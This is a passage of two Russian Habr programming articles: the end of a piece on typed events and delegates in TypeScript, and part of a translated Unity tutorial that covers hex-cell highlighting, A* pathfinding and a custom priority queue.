полностью отсутствует связь между ее обобщенными параметрами на уровне типов. Фактически, получается, что первый аргумент-тип `Callback` это некоторая произвольная функция, не имеющая определенной сигнатуры, а второй аргумент-тип `Options` это некоторый тип объекта, который мы потом используем для вызова callback'ов, добавленных в событие. Т.е. параметры не связаны между собой и в данной реализации элементарно отстрелить себе ногу не согласовав эти параметры, что неопытный разработчик скорее всего и не сделает.
И тут начинается уличная магия.
##### Делегаты
Русская Википедия говорит нам, что:
Делегат (англ. delegate) — структура данных, указывающая на методы (статические или экземпляра класса) в .NET Framework. Делегаты используются, в частности, для определения прототипа функции обратного вызова, например, в событийной модели .NET Framework.
Английская версия дополнительно указывает, что делегаты это type-safe function pointer, т.е. строго типизированная ссылка на функцию (перевод и трактовка вольные).
В зависимости от контекста, под делегатом может пониматься как тип, так и конкретный экземпляр.
Простыми словами, ближе к миру JS, это строго типизированная переменная, которая хранит функцию строго определенного типа. Иными словами делегат строго определяет сигнатуру метода.
В JS делегатов в явном виде не существует, т.к. все функции это объекты, да еще и динамическая типизация. Это означает, что JS поддерживает делегаты без каких-либо дополнительных телодвижений.
Примером делегата в TS будет параметр callback из следующего примера:
```
function Boo(callback: (strings: string[]) => string) { /* Реализация */ }
```
Здесь мы строго типизируем параметр callback как метод, принимающий строго один обязательный параметр типа массива строк.
Но нам такая запись не подходит, т.к. нам нужен обобщенный делегат, который мы могли бы типизировать исходя из объявления события.
Во-первых мы должны объявить делегат как тип, чтобы использовать его повторно. К моему огромному удивлению, спецификация TS 0.9 и всемогущий Google ничем не смогли мне помочь в определении синтаксиса такой структуры. Ответ нашелся на Codeplex в обсуждениях по TS где-то на второй час поисков:
```
export interface IDelegateTest
{
(options: any);
}
var test: IDelegateTest = function (options: any) { }
```
Этой записью мы объявляем, что интерфейс IDelegateTest это тип делегата, имеющего одни параметр типа any. При этом допускается изменение имени параметров, но не их количества и типа. Например, следующий код полностью корректен:
```
//Переименование
var test: IDelegateTest = function (settings: any) { }
```
Как и этот:
```
//Необязательный параметр
var test: IDelegateTest = function (options?: any) { }
```
И даже этот:
```
//Если можно необязательный параметр, то можно и опустить
var test: IDelegateTest = function () { }
```
Или этот:
```
//Проходит компиляцию!!!
var test: IDelegateTest = function (options: number) { }
```
«Стоп!» — скажет внимательный читатель. Мы меняем то, что не должны. Ответ: `options` объявлены как `any`, который все прощает. Честно говоря, я потратил минут 10, пока понял причину «в трех соснах». Надеюсь, что больше никто в эту ловушку не попадется.
А вот так все корректно:
```
export interface IDelegateTest
{
//Зададим строгий тип
(options: string);
}
// Cannot convert '(options: number) => void' to 'IDelegateTest'
var test1: IDelegateTest = function (options: number) { }
//Call signatures of types '(options?: number) => void' and 'IDelegateTest' are incompatible.
var test2: IDelegateTest = function (options?: number) { }
//А так можно
var test3: IDelegateTest = function (settings: string) { }
```
Во-вторых, переделаем нашего делегата в обобщенного и дадим ему правильное имя. Тут все ожидаемо с точки зрения синтаксиса и просто:
```
export interface ICallback
{
(arg: ArgType, context?: any);
}
```
Параметр `options` это наш типизированный параметр, а `context` позволяет нам задать объект, который вызвал событие, что может быть полезно, если событие вызывается неким третьим объектом и это надо отслеживать. Обращу внимание, что context никак не управляется из подписчика, в отличии от того же Backbone.Events, в котором контекст задается подписчиком для разделения однотипных обработчиков.
В этом коде есть один неявный момент. Если объявить `context` первым, согласно традициям C#: `(object sender, EventArgs args)`, то компилятор TS не сможет отследить соответствие типов функций. Не знаю, что это: баг или фича, но на это следует обратить внимание. Если типизированные параметры идут в начале, то все работает предсказуемо. Что меня полностью устраивает в контексте статьи.
##### Исправленный Event
Добавим следующий интерфейс:
```
export interface ICallbackDesc
{
Callback: ICallback;
Subscriber: any;
}
```
`ICallbackDesc` нам понадобится для хранения информации о контексте, в котором должен быть вызван callback. Т.е. мы должны запомнить, какое значение должен получить this в callback'е, иначе мы просто не сможем работать полноценно.
Скорректируем наш класс `Event`:
```
export class Event
{
private Callbacks: ICallbackDesc[] = [];
/\*\* Подписаться на событие
\* @param {ICallback} callback Callback, который будет вызван при вызове функции
\* @param {any} subscriber Контекст, в котором должен быть вызван callback
\* @returns {ITypedSubscription} Объект типизированной подписки
\*/
public Subscribe(callback: ICallback, subscriber: any): ITypedSubscription
{
var that = this;
var res: ITypedSubscription =
{
Callback: callback,
Event: that,
Unsubscribe: function () { that.Unsubscribe(callback); }
}
this.Callbacks.push({ Callback: callback, Subscriber: subscriber });
return res;
}
public Unsubscribe(callback: ICallback): void
{
//Делаем работу
}
public Trigger(arg: ArgType, context?: any): void
{
//Делаем работу
}
}
```
На выходе получаем, что теперь `Callback` (переименованный в `Delegate`) всегда реализует интерфейс ``ICallback.
Для полного типизированного счастья типизируем метод Trigger`:
```
public Trigger: ICallback = function (arg: ArgType, context?: any)
{
//Делаем работу
}
```
После все преобразований, объявление события будет выглядеть так:
```
export class MessagesRepo
{
public MessagesLoaded = new Events.Event();
public ErrorHappened = new Events.Event();
}
```
Подписка и вызов принципиально не изменятся:
```
public Subscribe()
{
//Одним движение регистрируем подписку одного события
this.Subscriptions.push(MessagesRepoInstance.MessagesLoaded.Subscribe(function (messages: string[], context?: any)
{
alert(messages && messages.length > 0 ? messages[0] : 'Nothing');
}, this));
//И совершенно другого
this.Subscriptions.push(MessagesRepoInstance.ErrorHappened.Subscribe(function (error: ErrorHappenedOptions)
{
alert(error.Error);
}, this));
}
```
```
//Тут задаем context при вызове
subscriber.MessagesRepo.MessagesLoaded.Trigger(['Test message 1'], this);
//А тут нет
subscriber.MessagesRepo.ErrorHappened.Trigger({ Error: 'Test error 1' });
```
##### Замечание по реализации Unsubscribe
Рассмотрим следующий код:
```
public Unsubscribe(callback: ICallback): void
{
var filteredList: ICallbackDesc[] = [];
for (var i = 0; i < this.Callbacks.length; i++)
{
if (this.Callbacks[i].Callback !== callback)
{
filteredList.push(this.Callbacks[i]);
}
}
this.Callbacks = filteredList;
}
```
Главный нюанс заключается в операторе `!==`. Здесь я его применяю для сравнения объектов. Основа принципа работы строгого (не)равенства - сравнение типов, затем сравнение значений. Для нас это означает, что при многократной подписке на событие одной и той же функцией, метод `Unsubscribe`удалит все ссылки на данную функцию. Т.е. для подписки некорректно использовать статические члены классов и т.п., что, надеюсь, никто делать и не собирался. Для членов инстанцированных объектов одного типа все будет отлично.
Почему так происходит? При создании нового экземпляра объекта создаются и экземпляры его членов. Если вспомнить, что в JS объект и тип суть одно и тоже, то получается, что при каждом инстанцировании класса TS, мы создаем набор новых типов. Из-за этого сравнение типов полностью идентичных функций разных экземпляров приведет к их неравенству.
Т.е. следующий код будет выполнен полностю предсказуемо:
```
public static Main(): void
{
var subscriber1: Messages.SomeEventSubscriber = new Messages.SomeEventSubscriber();
var subscriber2: Messages.SomeEventSubscriber = new Messages.SomeEventSubscriber();
subscriber1.Subscribe();
subscriber2.Subscribe();
Messages.MessagesRepoInstance.MessagesLoaded.Trigger(['Test message 1'], this);
Messages.MessagesRepoInstance.ErrorHappened.Trigger({ Error: 'Test error 1' });
subscriber1.Destroy();
Messages.MessagesRepoInstance.MessagesLoaded.Trigger(['Test message 2'], this);
Messages.MessagesRepoInstance.ErrorHappened.Trigger({ Error: 'Test error 2' });
}
```
Будет по 2 алерта 'Test message 1' и 'Test error 1', но только по одному алерту 'Test message 2' и 'Test error 2'.
##### Вызов события
Не забудем задать правильный контекст при помощи apply:
```
public Trigger: ICallback = function (arg: ArgType, context?: any)
{
var callbacks: ICallbackDesc[] = this.Callbacks;
for (var i = 0; i < callbacks.length; i++)
{
callbacks[i].Callback.apply(callbacks[i].Subscriber, [arg, context]);
}
}
```
На этом я завершаю с исправлением ошибок. Надеюсь на конструктивные комментарии и критику.
Upd. Посто обновлен с учетом критики. Всем огромное спасибо за высказанные комментарии.` | https://habr.com/ru/post/185290/ | null | ru | null |
# Карты из шестиугольников в Unity: поиск пути, отряды игрока, анимации
[Части 1-3: сетка, цвета и высоты ячеек](https://habr.com/post/424257/)
[Части 4-7: неровности, реки и дороги](https://habr.com/post/424491/)
[Части 8-11: вода, объекты рельефа и крепостные стены](https://habr.com/post/425463/)
[Части 12-15: сохранение и загрузка, текстуры, расстояния](https://habr.com/post/425919/)
[Части 16-19: поиск пути, отряды игрока, анимации](https://habr.com/post/426481/)
[Части 20-23: туман войны, исследование карты, процедурная генерация](https://habr.com/post/427003/)
[Части 24-27: круговорот воды, эрозия, биомы, цилиндрическая карта](https://habr.com/post/427567/)
Часть 16: поиск пути
====================
* Подсвечиваем ячейки
* Выбираем целевую точку поиска
* Находим кратчайший путь
* Создаём очередь с приоритетом
Вычислив расстояния между ячейками, мы перешли к нахождению путей между ними.
Начиная с этой части, туториалы по картам из шестиугольников будут создаваться в Unity 5.6.0. Нужно учесть, что в 5.6 есть баг, разрушающий массивы текстур в сборках для нескольких платформ. Обойти его можно, включив в инспекторе массива текстур *Is Readable*.
*Планируем путешествие*
Подсвечиваемые ячейки
---------------------
Чтобы искать путь между двумя ячейками, нам нужно сначала выбрать эти ячейки. Больше это не просто выбор одной ячейки и наблюдение за поиском по карте. Например, сначала мы выберем начальную клетку, а потом конечную. При этом было бы удобно, чтобы они стали подсвеченными. Поэтому давайте добавим такой функционал. Пока мы не будем создавать сложный или эффективный способ выделения, просто создадим нечто, помогающее нам в разработке.
### Текстура-контур
Один из простых способов выделения ячеек — добавление к ним контура. Проще всего это сделать с помощью текстуры, содержащей шестиугольный контур. [Здесь](https://catlikecoding.com/unity/tutorials/hex-map/part-16/highlighting-cells/cell-outline.png) можно скачать такую текстуру. Она прозрачна, за исключением белого контура шестиугольника. Сделав её белой, мы в дальнейшем сможем раскрасить её, как нам нужно.
*Контур ячейки на чёрном фоне*
Импортируем текстуру и зададим для её *Texture Type* значнеие *Sprite*. Её *Sprite Mode* будет иметь значение *Single* с настройками по умолчанию. Так как это исключительно белая текстура, нам не нужно преобразование в *sRGB*. Альфа-канал обозначает прозрачность, поэтому включим *Alpha is Transparency*. Также я задал для *Filter Mode* текстуры значение *Trilinear*, потому что в ином случае mip-переходы для контуров могут становиться слишком заметными.
*Параметры импорта текстуры*
### По одному спрайту на ячейку
Быстрее всего добавить к ячейкам возможный контур, добавив каждой собственный спрайт. Создадим новый игровой объект, добавим к нему компонент Image (*Component / UI / Image*) и назначим ему наш спрайт контура. Затем вставим экземпляр префаба *Hex Cell Label* в сцену, сделаем объект-спрайт его дочерним элементом и применим изменения к префабу, после чего избавимся от префаба.
*Дочерний элемент выделения префаба*
Теперь у каждой ячейки есть спрайт, но он будет слишком большим. Чтобы контуры соответствовали центрам ячеек, изменим *Width* и *Height* компонента transform спрайта на 17.
*Спрайты выделения, частично скрытые рельефом*
### Рисование поверх всего
Так как контур накладывается на области рёбер ячеек, он часто оказывается под геометрией рельефа. Из-за этого часть контура исчезает. Этого можно избежать, немного подняв спрайты по вертикали, но не в случае обрывов. Вместо этого мы можем сделать следующее: всегда отрисовывать спрайты поверх всего другого. Для этого нужно создать собственный спрайтовый шейдер. Нам достаточно будет скопировать стандартный спрайтовый шейдер Unity и внести в него пару изменений.
```
Shader "Custom/Highlight" {
Properties {
[PerRendererData] _MainTex ("Sprite Texture", 2D) = "white" {}
_Color ("Tint", Color) = (1,1,1,1)
[MaterialToggle] PixelSnap ("Pixel snap", Float) = 0
[HideInInspector] _RendererColor ("RendererColor", Color) = (1,1,1,1)
[HideInInspector] _Flip ("Flip", Vector) = (1,1,1,1)
[PerRendererData] _AlphaTex ("External Alpha", 2D) = "white" {}
[PerRendererData] _EnableExternalAlpha ("Enable External Alpha", Float) = 0
}
SubShader {
Tags {
"Queue"="Transparent"
"IgnoreProjector"="True"
"RenderType"="Transparent"
"PreviewType"="Plane"
"CanUseSpriteAtlas"="True"
}
Cull Off
ZWrite Off
Blend One OneMinusSrcAlpha
Pass {
CGPROGRAM
#pragma vertex SpriteVert
#pragma fragment SpriteFrag
#pragma target 2.0
#pragma multi_compile_instancing
#pragma multi_compile _ PIXELSNAP_ON
#pragma multi_compile _ ETC1_EXTERNAL_ALPHA
#include "UnitySprites.cginc"
ENDCG
}
}
}
```
Первое изменение — мы игнорируем буфер глубины, сделав так, что Z-тест всегда заканчивается удачей.
```
ZWrite Off
ZTest Always
```
Второе изменение — мы выполняем отрисовку после всей остальной прозрачной геометрии. Достаточно будет прибавить 10 к очереди прозрачности.
```
"Queue"="Transparent+10"
```
Создадим новый материал, который будет использовать этот шейдер. Мы можем игнорировать все его свойства, придерживаясь значений по умолчанию. Затем сделаем так, чтобы префаб спрайта использовал этот материал.
*Используем собственный материал спрайта*
Теперь контуры выделения видны всегда. Даже если ячейка скрыта под более высоким рельефом, её контур всё равно будет отрисовываться поверх всего остального. Это может и не выглядит красиво, но выделенные клетки всегда будут видны, что полезно для нас.
*Игнорируем буфер глубин*
### Контроль над выделением
Мы не хотим, чтобы одновременно были подсвечены все ячейки. На самом деле, изначально они все должны быть не выделенными. Мы можем реализовать это, отключив компонент Image объекта префаба *Highlight*.
*Отключенный компонент Image*
Чтобы включить выделение ячейки, добавим в `HexCell` метод `EnableHighlight`. Он должен брать единственный дочерний элемент своего `uiRect` и включать его компонент Image. Создадим также метод `DisableHighlight`.
```
public void DisableHighlight () {
Image highlight = uiRect.GetChild(0).GetComponent();
highlight.enabled = false;
}
public void EnableHighlight () {
Image highlight = uiRect.GetChild(0).GetComponent();
highlight.enabled = true;
}
```
Наконец, мы можем указать цвет, чтобы при включении придавать подсветке оттенок.
```
public void EnableHighlight (Color color) {
Image highlight = uiRect.GetChild(0).GetComponent();
highlight.color = color;
highlight.enabled = true;
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-16/highlighting-cells/highlighting-cells.unitypackage)
Нахождение пути
---------------
Теперь, когда мы можем выделять ячейки, нужно двигаться дальше и выбирать две ячейки, а потом находить между ними путь. Сначала нам нужно выбрать ячейки, затем ограничить поиск нахождением пути между ними, и, наконец, показать этот путь.
### Начало поиска
Нам нужно выбрать две разные клетки, начальную и конечную точки поиска. Допустим, что для выбора начальной ячейки поиска надо удерживать при щелчке мыши левую клавишу Shift. При этом ячейка подсветится синим цветом. Нам нужно сохранить ссылку на эту ячейку для дальнейшего поиска. Кроме того, при выборе новой стартовой ячейки выделение старой нужно отключать. Поэтому добавим в `HexMapEditor` поле `searchFromCell`.
```
HexCell previousCell, searchFromCell;
```
Внутри `HandleInput` мы можем использовать `Input.GetKey(KeyCode.LeftShift)` для проверки зажатой клавиши Shift.
```
if (editMode) {
EditCells(currentCell);
}
else if (Input.GetKey(KeyCode.LeftShift)) {
if (searchFromCell) {
searchFromCell.DisableHighlight();
}
searchFromCell = currentCell;
searchFromCell.EnableHighlight(Color.blue);
}
else {
hexGrid.FindDistancesTo(currentCell);
}
```
*Откуда искать*
### Конечная точка поиска
Вместо того, чтобы искать все расстояния до ячейки, мы теперь ищем путь между двумя конкретными ячейками. Поэтому переименуем `HexGrid.FindDistancesTo` в `HexGrid.FindPath` и дадим ему второй параметр `HexCell`.Также изменим метод `Search`.
```
public void FindPath (HexCell fromCell, HexCell toCell) {
StopAllCoroutines();
StartCoroutine(Search(fromCell, toCell));
}
IEnumerator Search (HexCell fromCell, HexCell toCell) {
for (int i = 0; i < cells.Length; i++) {
cells[i].Distance = int.MaxValue;
}
WaitForSeconds delay = new WaitForSeconds(1 / 60f);
List frontier = new List();
fromCell.Distance = 0;
frontier.Add(fromCell);
…
}
```
Теперь `HexMapEditor.HandleInput` должен вызывать изменённый метод, используя в качестве аргументов `searchFromCell` и `currentCell`. Кроме того, мы можем искать только тогда, когда знаем, из какой ячейки нужно искать. И мы не обязаны утруждаться поиском, если начальная и конечная точки совпадают.
```
if (editMode) {
EditCells(currentCell);
}
else if (Input.GetKey(KeyCode.LeftShift)) {
…
}
else if (searchFromCell && searchFromCell != currentCell) {
hexGrid.FindPath(searchFromCell, currentCell);
}
```
Переходя к поиску, нам сначала нужно избавиться от всех предыдущих выделений. Поэтому заставим `HexGrid.Search` отключать выделение при сбросе расстояний. Так как при этом также отключится подсветка начальной ячейки, затем снова её включим. На этом этапе мы можем также выделить конечную точку. Давайте сделаем её красной.
```
IEnumerator Search (HexCell fromCell, HexCell toCell) {
for (int i = 0; i < cells.Length; i++) {
cells[i].Distance = int.MaxValue;
cells[i].DisableHighlight();
}
fromCell.EnableHighlight(Color.blue);
toCell.EnableHighlight(Color.red);
…
}
```
*Концевые точки потенциального пути*
### Ограничиваем поиск
На этом этапе наш поисковый алгоритм всё ещё вычисляет расстояния до всех ячеек, которые достижимы из начальной ячейки. Но больше это нам не нужно. Мы можем остановиться, как только найдём окончательное расстояние до конечной ячейки. То есть когда текущая ячейка является конечной, мы можем выйти из цикла алгоритма.
```
while (frontier.Count > 0) {
yield return delay;
HexCell current = frontier[0];
frontier.RemoveAt(0);
if (current == toCell) {
break;
}
for (HexDirection d = HexDirection.NE; d <= HexDirection.NW; d++) {
…
}
}
```
*Останавливаемся в конечной точке*
**Что произойдёт, если конечной точки нельзя достичь?**
Тогда алгоритм продолжит работу, пока не найдёт все достижимые ячейки. Без возможности преждевременного выхода он будет работать как старый метод `FindDistancesTo`.
### Отображение пути
Мы можем найти расстояние между началом и концом пути, но пока не знаем, каким будет настоящий путь. Чтобы найти его, нужно отслеживать, как достигнута каждая ячейка. Но как это сделать?
При добавлении ячейки к границе, мы делаем это, потому что она является соседом текущей ячейки. Единственным исключением является начальная ячейка. Все другие ячейки были достигнуты через текущую ячейку. Если мы будем отслеживать, из какой ячейки была достигнута каждая ячейка, то в результате получим сеть ячеек. Если точнее, древовидную сеть, корнем которой является начальная точка. Мы можем использовать её для построения пути после достижения конечной точки.
*Древовидная сеть, описывающая пути до центра*
Мы можем сохранить эту информацию, добавив в `HexCell` ссылку на ещё одну ячейку. Нам не нужно сериализовать эти данные, поэтому используем для этого стандартное свойство.
```
public HexCell PathFrom { get; set; }
```
В `HexGrid.Search` зададим в качестве значения `PathFrom` соседа текущую ячейку при добавлении её к границе. Кроме того, нам нужно менять эту ссылку, когда мы найдём более короткий путь до соседа.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.Distance = distance;
neighbor.PathFrom = current;
frontier.Add(neighbor);
}
else if (distance < neighbor.Distance) {
neighbor.Distance = distance;
neighbor.PathFrom = current;
}
```
Достигнув конечной точки, мы можем визуализировать путь, проследовав по этим ссылкам обратно к начальной ячейке, и выделить их.
```
if (current == toCell) {
current = current.PathFrom;
while (current != fromCell) {
current.EnableHighlight(Color.white);
current = current.PathFrom;
}
break;
}
```
*Путь найден*
Стоит учесть, что часто бывает несколько кратчайших путей. Найденный зависит от порядка обработки ячеек. Некоторые пути могут выглядеть хорошо, другие плохо, но более короткого пути никогда не бывает. Мы вернёмся к этому позже.
### Изменение начала поиска
После выбора начальной точки изменение конечной точки вызовет запуск нового поиска. То же самое должно происходить при выборе новой начальной ячейки. Чтобы это стало возможно, `HexMapEditor` также должен запоминать конечную точку.
```
HexCell previousCell, searchFromCell, searchToCell;
```
С помощью этого поля мы можем также инициировать новый поиск при выборе нового начала.
```
else if (Input.GetKey(KeyCode.LeftShift)) {
if (searchFromCell) {
searchFromCell.DisableHighlight();
}
searchFromCell = currentCell;
searchFromCell.EnableHighlight(Color.blue);
if (searchToCell) {
hexGrid.FindPath(searchFromCell, searchToCell);
}
}
else if (searchFromCell && searchFromCell != currentCell) {
searchToCell = currentCell;
hexGrid.FindPath(searchFromCell, searchToCell);
}
```
Кроме того, нам нужно избегать равенства начальной и конечной точек.
```
if (editMode) {
EditCells(currentCell);
}
else if (
Input.GetKey(KeyCode.LeftShift) && searchToCell != currentCell
) {
…
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-16/finding-a-path/finding-a-path.unitypackage)
Более умный поиск
-----------------
Хоть наш алгоритм и находит кратчайший путь, он тратит много времени на исследование точек, которые очевидно не станут частью этого пути. По крайней мере, очевидно для нас. Алгоритм не может взглянуть на карту «свысока», он не может увидеть, что поиск в некоторых направлениях окажется бессмысленным. Он предпочитает двигаться по дорогам, несмотря на то, что они направляются в противоположную от конечной точки сторону. Можно ли сделать поиск умнее?
На данный момент при выборе ячейки, которую нужно обрабатывать следующей, мы рассматриваем только расстояние от ячейки до начала. Если мы хотим поступать умнее, то надо также учитывать расстояние до конечной точки. К сожалению, его мы пока не знаем. Но мы можем создать оценку оставшегося расстояния. Прибавление этой оценки к расстоянию до ячейки даёт нам понимание общей длины пути, проходящего через эту ячейку. Затем мы сможем использовать его для определения приоритетов поиска ячеек.
### Эвристика поиска
Когда мы используем оценку или догадки вместо точно известных данных, то это называется использованием поисковых эвристик. Эта эвристика представляет собой наилучшую догадку об оставшемся расстоянии. Мы должны определить это значение для каждой ячейки, по которой выполняем поиск, поэтому добавим для него `HexCell` целочисленное свойство. Нам не нужно сериализовать его, поэтому достаточно будет ещё одного стандартного свойства.
```
public int SearchHeuristic { get; set; }
```
Как нам сделать предположение об оставшемся расстоянии? В самом идеальном случае у нас будет дорога, ведущая прямиком к конечной точке. Если это так, то расстояние равно неизменённому расстоянию между координатами этой ячейки и конечной ячейки. Давайте воспользуемся этим в нашей эвристике.
Так как эвристика не зависит от ранее пройденного пути, в процессе поиска он постоянен. Поэтому нам нужно вычислить его только раз, когда `HexGrid.Search` добавляет ячейку к границе.
```
if (neighbor.Distance == int.MaxValue) {
neighbor.Distance = distance;
neighbor.PathFrom = current;
neighbor.SearchHeuristic =
neighbor.coordinates.DistanceTo(toCell.coordinates);
frontier.Add(neighbor);
}
```
### Приоритет поиска
С этого момента мы будем определять приоритет поиска на основе расстояния до ячейки плюс её эвристики. Давайте добавим для этого значения в `HexCell` свойство.
```
public int SearchPriority {
get {
return distance + SearchHeuristic;
}
}
```
Чтобы это сработало, изменим `HexGrid.Search` так, чтобы он использовал это свойство для сортировки границы.
```
frontier.Sort(
(x, y) => x.SearchPriority.CompareTo(y.SearchPriority)
);
```
*Поиск без эвристики и с эвристикой*
### Допустимая эвристика
Благодаря новым приоритетам поиска мы и в самом деле в результате посетим меньше ячеек. Однако на однообразной карте алгоритм по-прежнему обрабатывает ячейки, находящиеся в неверном направлении. Так происходит потому, что по умолчанию затраты на каждый шаг перемещения равны 5, а эвристика на шаг прибавляет всего 1. То есть влияние эвристики не очень сильно.
Если затраты на перемещение на всех карте одинаковы, то мы можем использовать такие же затраты при определении эвристики. В нашем случае это будет текущая эвристика, умноженная на 5. Это значительно снизит количество обрабатываемых ячеек.
*Используем эвристику × 5*
Однако, если на карте есть дороги, то мы можем переоценить оставшееся расстояние. В результате алгоритм может делать ошибки и создавать путь, который на самом деле не является кратчайшим.
*Переоценённая и допустимая эвристики*
Чтобы гарантировать, что найден кратчайший путь, нам нужно сделать так, чтобы мы никогда переоценивали оставшееся расстояние. Такой подход называется допустимой эвристикой. Так как минимальные затраты на перемещение равны 1, у нас нет никакого выбора, кроме как использовать те же затраты при определении эвристики.
Строго говоря, вполне нормально использовать даже меньшие затраты, но это только сделает эвристику слабее. Минимальная возможная эвристика равна нулю, что даёт нам просто алгоритм Дейкстры. При ненулевой эвристике алгоритм называется A\* (произносится «А звезда»).
**Почему его называют A\*?**
Идея добавления эвристики в алгоритм Дейкстры впервые была предложена Нильсом Нильссоном. Он назвал свой вариант A1. Позже Бертрам Рафаэль придумал лучшую версию, которую он назвал A2. Затем Питер Харт доказал, что при хорошей эвристике A2 оптимален, то есть более хорошей версии быть не может. Это заставило его назвать алгоритм A\*, чтобы показать, что его невозможно будет улучшить, то есть A3 или A4 не появятся. Так что да, алгоритм A\* — это лучшее, что мы можем получить, но он хорош настолько, насколько хороша его эвристика.
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-16/smarter-searching/smarter-searching.unitypackage)
Очередь с приоритетом
---------------------
Хоть A\* и хороший алгоритм, наша реализация не так уж эффективна, потому что для хранения границы мы используем список, который нужно сортировать при каждой итерации. Как упоминалось в предыдущей части, нам нужна очередь с приоритетом, но её стандартной реализации не существует. Поэтому давайте создадим её самостоятельно.
Наша очередь должна поддерживать операцию постановки и исключения из очереди на основании приоритета. Также она должна поддерживать изменение приоритета ячейки, уже находящейся в очереди. В идеале мы реализуем её, минимизируя поиск сортировку и выделяемую память. Кроме того, она должна оставаться простой.
### Создание собственной очереди
Создадим новый класс `HexCellPriorityQueue` с обязательными общими методами. Для отслеживания содержимого очереди мы используем простой список. Кроме того, добавим ей метод `Clear` для сброса очереди, чтобы её можно было использовать многократно.
```
using System.Collections.Generic;
public class HexCellPriorityQueue {
List list = new List();
public void Enqueue (HexCell cell) {
}
public HexCell Dequeue () {
return null;
}
public void Change (HexCell cell) {
}
public void Clear () {
list.Clear();
}
}
```
Мы храним приоритеты ячеек в самих ячейках. То есть перед добавлением ячейки в очередь её приоритет должен быть задан. Но в случае изменения приоритета вероятно будет полезно знать, каким был старый приоритет. Поэтому давайте добавим это в `Change` как параметр.
```
public void Change (HexCell cell, int oldPriority) {
}
```
Также полезно знать, сколько ячеек находится в очереди, поэтому добавим для этого свойство `Count`. Просто используем поле, для которого будем выполнять соответствующий инкремент и декремент.
```
int count = 0;
public int Count {
get {
return count;
}
}
public void Enqueue (HexCell cell) {
count += 1;
}
public HexCell Dequeue () {
count -= 1;
return null;
}
…
public void Clear () {
list.Clear();
count = 0;
}
```
### Добавление в очередь
Когда ячейка добавляется в очередь, давайте сначала использовать её приоритет как индекс, обращаясь со списком как с простым массивом.
```
public void Enqueue (HexCell cell) {
count += 1;
int priority = cell.SearchPriority;
list[priority] = cell;
}
```
Однако это работает только если список достаточно длинный, в противном случае мы выйдем за границы. Можно избежать этого, добавляя в список пустые элементы, пока он не достигнет требуемой длины. Эти пустые элементы не ссылаются на ячейку, поэтому их можно создавать, добавляя в список `null`.
```
int priority = cell.SearchPriority;
while (priority >= list.Count) {
list.Add(null);
}
list[priority] = cell;
```
*Список с дырами*
Но так мы храним только по одной ячейке на приоритет, а их скорее всего будет несколько. Чтобы отслеживать все ячейки с одинаковым приоритетом, нам нужно использовать ещё один список. Хотя мы и можем использовать настоящий список на каждый приоритет, можно также добавить к `HexCell` свойство, чтобы связать их вместе. Это позволяет нам создавать цепочку ячеек, называемую связанным списком.
```
public HexCell NextWithSamePriority { get; set; }
```
Для создания цепочки сделаем так, чтобы `HexCellPriorityQueue.Enqueue` заставлял новую добавленную ячейку ссылаться на текущее значение с тем же приоритетом, перед его удалением.
```
cell.NextWithSamePriority = list[priority];
list[priority] = cell;
```
*Список связанных списков*
### Удаление из очереди
Для получения ячейки из очереди с приоритетом нам нужно получить доступ к связанному списку по наименьшему непустому индексу. Поэтому обойдём список в цикле, пока не найдём его. Если не найдём, то очередь пуста и мы возвращаем `null`.
Из найденной цепочки мы можем вернуть любую ячейку, потому что все они имеют одинаковый приоритет. Проще всего вернуть ячейку из начала цепочки.
```
public HexCell Dequeue () {
count -= 1;
for (int i = 0; i < list.Count; i++) {
HexCell cell = list[i];
if (cell != null) {
return cell;
}
}
return null;
}
```
Чтобы сохранить ссылку на оставшуюся цепочку, используем следующую ячейку с тем же приоритетом как новое начало. Если на этом уровне приоритетов была только одна ячейка, то элемент становится `null` и в будущем будет пропускаться.
```
if (cell != null) {
list[i] = cell.NextWithSamePriority;
return cell;
}
```
### Отслеживание минимума
Такой подход работает, но требует итерирования по списку при каждом получении ячейки. Мы не можем избежать поиска наименьшего непустого индекса, но мы не обязаны каждый раз начинать с нуля. Вместо этого мы можем отслеживать минимальный приоритет и начинать поиск с него. Изначально минимум по сути равен бесконечности.
```
int minimum = int.MaxValue;
…
public void Clear () {
list.Clear();
count = 0;
minimum = int.MaxValue;
}
```
При добавлении ячейки в очередь по необходимости изменяем минимум.
```
public void Enqueue (HexCell cell) {
count += 1;
int priority = cell.SearchPriority;
if (priority < minimum) {
minimum = priority;
}
…
}
```
И при выводе из очереди используем для итераций минимум по списку, а не начинаем с нуля.
```
public HexCell Dequeue () {
count -= 1;
for (; minimum < list.Count; minimum++) {
HexCell cell = list[minimum];
if (cell != null) {
list[minimum] = cell.NextWithSamePriority;
return cell;
}
}
return null;
}
```
Это значительно снижает объём времени на обход в цикле списка приоритетов.
### Изменение приоритетов
При изменении приоритета ячейки она должна удаляться из связанного списка, частью которого является. Для этого нам нужно проследовать по цепочке, пока мы не найдём её.
Начнём с объявления того, что голова старого списка приоритетов будет текущей ячейкой, а также будем отслеживать следующую ячейку. Мы можем сразу брать следующую ячейку, потому что знаем, что по этому индексу есть хотя бы одна ячейка.
```
public void Change (HexCell cell, int oldPriority) {
HexCell current = list[oldPriority];
HexCell next = current.NextWithSamePriority;
}
```
Если текущая ячейка является изменившейся ячейкой, то это головная ячейка и мы можем отсечь её, как будто вывели её из очереди.
```
HexCell current = list[oldPriority];
HexCell next = current.NextWithSamePriority;
if (current == cell) {
list[oldPriority] = next;
}
```
Если это не так, то нам нужно проследовать по цепочке, пока мы не окажемся в ячейке перед изменившейся ячейкой. Она содержит ссылку на ячейку, которая была изменена.
```
if (current == cell) {
list[oldPriority] = next;
}
else {
while (next != cell) {
current = next;
next = current.NextWithSamePriority;
}
}
```
На этом этапе мы можем удалить изменившуюся ячейку из связанного списка, пропустив её.
```
while (next != cell) {
current = next;
next = current.NextWithSamePriority;
}
current.NextWithSamePriority = cell.NextWithSamePriority;
```
После удаления ячейки её нужно добавить снова, чтобы она оказалась в списке своего нового приоритета.
```
public void Change (HexCell cell, int oldPriority) {
…
Enqueue(cell);
}
```
Метод `Enqueue` увеличивает счётчик, но на самом деле мы не добавляем новую ячейку. Поэтому чтобы компенсировать это, нам придётся выполнить декремент счётчика.
```
Enqueue(cell);
count -= 1;
```
### Использование очереди
Теперь мы можем воспользоваться нашей очередью с приоритетом в `HexGrid`. Это можно сделать с помощью одного экземпляра, многократно применяемого для всех операций поиска.
```
